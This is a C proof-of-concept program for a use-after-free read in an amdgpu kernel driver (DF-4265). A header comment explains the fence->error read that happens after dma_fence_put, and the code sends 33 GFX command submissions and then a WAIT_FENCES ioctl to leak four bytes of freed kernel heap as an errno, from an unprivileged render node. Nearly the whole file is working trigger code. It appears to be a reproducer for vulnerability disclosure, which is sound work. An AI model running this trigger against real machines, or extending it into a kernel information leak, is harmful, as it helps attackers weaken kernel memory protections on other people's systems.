/*
 * DF-4265 — amdgpu_cs_wait_all_fences reads fence->error AFTER the final
 *          dma_fence_put (use-after-free read)
 * =====================================================================
 * amdgpu_cs_wait_all_fences() (sys/dev/drm/amd/amdgpu/amdgpu_cs.c:
 * 1481-1516):
 *
 *     r = dma_fence_wait_timeout(fence, true, timeout);
 *     dma_fence_put(fence);            // :1501
 *     ...
 *     if (fence->error)                // :1508  <-- read AFTER put
 *         return fence->error;
 *
 * If our reference is the last one (the context fence slot for `seq` was
 * replaced by a later submission — amdgpu_ctx.c:449-461 drops the array
 * ref after amdgpu_sched_jobs(=32) further submissions on the same entity
 * — and the scheduler/job no longer holds refs), the put at :1501 frees
 * the fence and :1508 reads freed memory. On this tree the free is
 * RCU-deferred (drm_sched_fence_release_scheduled -> call_rcu,
 * sys/dev/drm/scheduler/sched_fence.c:107-113), so manifestation requires
 * the grace period to elapse (or preemption) between :1501 and :1508;
 * the stale/groomed value is returned to userspace as the ioctl errno —
 * a 4-byte heap-content oracle (CWE-416).
 *
 * Trigger shape: submit 33 GFX CS (so the slot holding seq 1 is replaced
 * while we hold a ref via the wait ioctl), then WAIT_FENCES(wait_all=1)
 * on seq 1. Correct code (as in amdgpu_cs_wait_ioctl, :1367-1369) reads
 * fence->error BEFORE the put.
 *
 * Unprivileged: AMDGPU_WAIT_FENCES is DRM_AUTH|DRM_RENDER_ALLOW
 * (amdgpu_kms.c:1209).
 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioccom.h>
#include <errno.h>

#define DRM_IOCTL_BASE		'd'
#define DRM_COMMAND_BASE	0x40

#define AMDGPU_GEM_DOMAIN_GTT	0x2
#define AMDGPU_HW_IP_GFX	0
#define CHUNK_ID_IB		0x01
#define SCHED_JOBS		32	/* amdgpu_sched_jobs default */

union gem_create_ {
	struct { unsigned long long bo_size, alignment, domains, flags; } in;
	struct { unsigned int handle, _pad; } out;
};
union ctx_ {
	struct { unsigned int op, flags, ctx_id; int priority; } in;
	struct { unsigned int ctx_id, _pad; } alloc;
};
struct chunk_hdr_ { unsigned int chunk_id, length_dw; unsigned long long chunk_data; };
struct chunk_ib_ {
	unsigned int _pad, flags;
	unsigned long long va_start;
	unsigned int ib_bytes, ip_type, ip_instance, ring;
};
union cs_ {
	struct { unsigned int ctx_id, bo_list_handle, num_chunks, _pad;
		 unsigned long long chunks; } in;
	struct { unsigned long long handle, status; } out;
};
struct drm_amdgpu_fence_ {
	unsigned int ctx_id, ip_type, ip_instance, ring;
	unsigned long long seq_no;
};
union wait_fences_ {
	struct { unsigned long long fences; unsigned int fence_count,
		 wait_all; unsigned long long timeout_ns; } in;
	struct { unsigned int status, first_signaled; } out;
};

#define IOCTL_GEM_CREATE \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x00, union gem_create_)
#define IOCTL_CTX \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x02, union ctx_)
#define IOCTL_CS \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x04, union cs_)
#define IOCTL_WAIT_FENCES \
	_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x12, union wait_fences_)

int
main(void)
{
	union gem_create_ gc;
	union ctx_ ctx;
	union cs_ cs;
	union wait_fences_ wf;
	struct chunk_hdr_ hdr;
	struct chunk_ib_ ib;
	struct drm_amdgpu_fence_ fences[1];
	unsigned long long chunk_ptr, seq1;
	int fd, i;

	fd = open("/dev/dri/renderD128", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "DF-4265: cannot open /dev/dri/renderD128: %s\n"
		    "On amdgpu hw: 33 GFX submissions then WAIT_FENCES(all) on "
		    "seq 1 races the RCU fence free against the fence->error "
		    "read at amdgpu_cs.c:1508.\n", strerror(errno));
		return (1);
	}

	memset(&gc, 0, sizeof(gc));
	gc.in.bo_size = 4096;
	gc.in.domains = AMDGPU_GEM_DOMAIN_GTT;
	if (ioctl(fd, IOCTL_GEM_CREATE, &gc) < 0) { perror("gem_create"); return (1); }

	memset(&ctx, 0, sizeof(ctx));
	ctx.in.op = 1;
	if (ioctl(fd, IOCTL_CTX, &ctx) < 0) { perror("ctx"); return (1); }

	memset(&ib, 0, sizeof(ib));
	ib.ip_type = AMDGPU_HW_IP_GFX;
	ib.ib_bytes = 16;
	hdr.chunk_id = CHUNK_ID_IB;
	hdr.length_dw = sizeof(ib) / 4;
	hdr.chunk_data = (unsigned long long)(uintptr_t)&ib;
	chunk_ptr = (unsigned long long)(uintptr_t)&hdr;

	seq1 = 0;
	for (i = 0; i < SCHED_JOBS + 1; i++) {
		memset(&cs, 0, sizeof(cs));
		cs.in.ctx_id = ctx.alloc.ctx_id;
		cs.in.num_chunks = 1;
		cs.in.chunks = chunk_ptr;
		if (ioctl(fd, IOCTL_CS, &cs) < 0) { perror("CS"); return (1); }
		if (i == 0)
			seq1 = cs.out.handle;
	}
	printf("submitted %d jobs; waiting (all) on seq=%llu\n",
	    SCHED_JOBS + 1, seq1);

	memset(fences, 0, sizeof(fences));
	fences[0].ctx_id = ctx.alloc.ctx_id;
	fences[0].ip_type = AMDGPU_HW_IP_GFX;
	fences[0].ring = 0;
	fences[0].seq_no = seq1;

	memset(&wf, 0, sizeof(wf));
	wf.in.fences = (unsigned long long)(uintptr_t)fences;
	wf.in.fence_count = 1;
	wf.in.wait_all = 1;
	wf.in.timeout_ns = 1000000000ull;	/* 1s */

	if (ioctl(fd, IOCTL_WAIT_FENCES, &wf) < 0)
		printf("WAIT_FENCES returned errno path (on a UAF hit this "
		    "errno is groomed heap memory): %s\n", strerror(errno));
	else
		printf("WAIT_FENCES status=%u\n", wf.out.status);
	return (0);
}
